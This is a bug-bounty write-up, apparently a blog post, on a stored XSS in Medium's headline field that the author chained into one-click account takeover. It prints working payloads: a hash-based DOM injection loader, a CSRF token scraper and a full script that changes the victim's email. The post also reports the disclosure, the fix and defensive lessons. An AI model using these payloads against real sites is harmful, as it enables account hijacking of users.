Introduction

Two days ago, I discovered a simple but impactful XSS vulnerability on Medium that I was able to develop into a one-click full account takeover.

Initial Discovery

While searching Google for XSS vectors, I came across a link to Medium that contained XSS payloads. Upon opening the link, the script executed immediately, prompting me to investigate further. I discovered that the headline field was not properly sanitized.

I created a new Medium account and posted a story with the following headline:

"><script>alert(1337)</script>

medium-xss

As expected, the XSS fired:

medium-xss

Bypassing CSP

Since the headline field had a length limit, I tried loading an external script from another server:

medium-xss

However, Medium implemented Content Security Policy (CSP), blocking my external payload.

Understanding CSP

Content Security Policy (CSP) is a security feature that restricts how and from where resources can be loaded. Medium’s CSP headers were as follows:

content-security-policy: default-src 'self'; script-src 'unsafe-eval' 'unsafe-inline' https: 'self';

Medium allowed inline scripts, making stored XSS possible. However, the headline field had a short character limit, restricting full script execution.

Developing an Exploit

I needed a way to extract the CSRF token and make an authenticated request to change a user’s email address. Since I couldn’t fit a complete script within the headline field, I switched to a DOM-based XSS approach.

Using the following headline payload:

"><script>document.write(decodeURIComponent(window.location.hash));</script>

I successfully injected my script into the page and accessed the xsrfToken:

medium-xss

Next, I created a JavaScript payload to extract the CSRF token from the page:

<html>
<head>
<script>
function myFunction() {
    var str = document.body.innerHTML;
    var n = str.lastIndexOf('xsrfToken');
    var result = str.substring(n + 12);
    if (result.length > 16) {
        result = result.substring(0, 16);
        alert('Your token is ' + result);
    }
}
</script>
</head>
<body>
xsrfToken":"HZuv9jqWJvnqO0pF"
<img src='x' onerror='myFunction()'>
</body>
</html>

Crafting the Exploit

With the xsrfToken extracted, I now needed to send a PUT request to change the user’s email address. However, SOP (Same-Origin Policy) prevented cross-origin requests, so I had to execute the request from Medium’s domain.

I created the following fully automated PoC:

<script>
function myFunction() {
    var str = document.body.innerHTML;
    var n = str.lastIndexOf('xsrfToken');
    var result = str.substring(n + 12);
    if (result.length > 16) {
        result = result.substring(0, 16);
        alert('Your token is ' + result);
    }
    
    var xhr = new XMLHttpRequest();
    xhr.open('PUT', 'https://medium.com/me/email');
    xhr.setRequestHeader('Content-Type', 'application/json');
    xhr.setRequestHeader('X-XSRF-Token', result);
    xhr.onload = function() {
        if (xhr.status === 200) {
            alert('Email changed successfully');
        }
    };
    xhr.send(JSON.stringify({"email":"abdullah@gmail.com"}));
}
</script>
<img onerror="myFunction();" src=x>

Executing this script successfully changed the email address on the victim’s account, effectively hijacking the entire account.

medium-xss

Reporting the Bug

I submitted the full PoC to Medium’s security team. They responded the same day and fixed the issue within 48 hours.

They rewarded me with $100 and a Medium t-shirt, which was a bit disappointing considering the impact of the vulnerability.

medium-xss

PoC Video

Conclusion

This vulnerability highlighted several important security issues:

  • Always use a nonce in CSP to prevent inline script execution.
  • Require password confirmation for email changes.
  • Validate input on both the client and server side.
  • Ensure security policies cover all attack vectors before deploying new features.

That’s all. Thanks for reading. If you liked this, follow me on Twitter: @Abdulahhusam.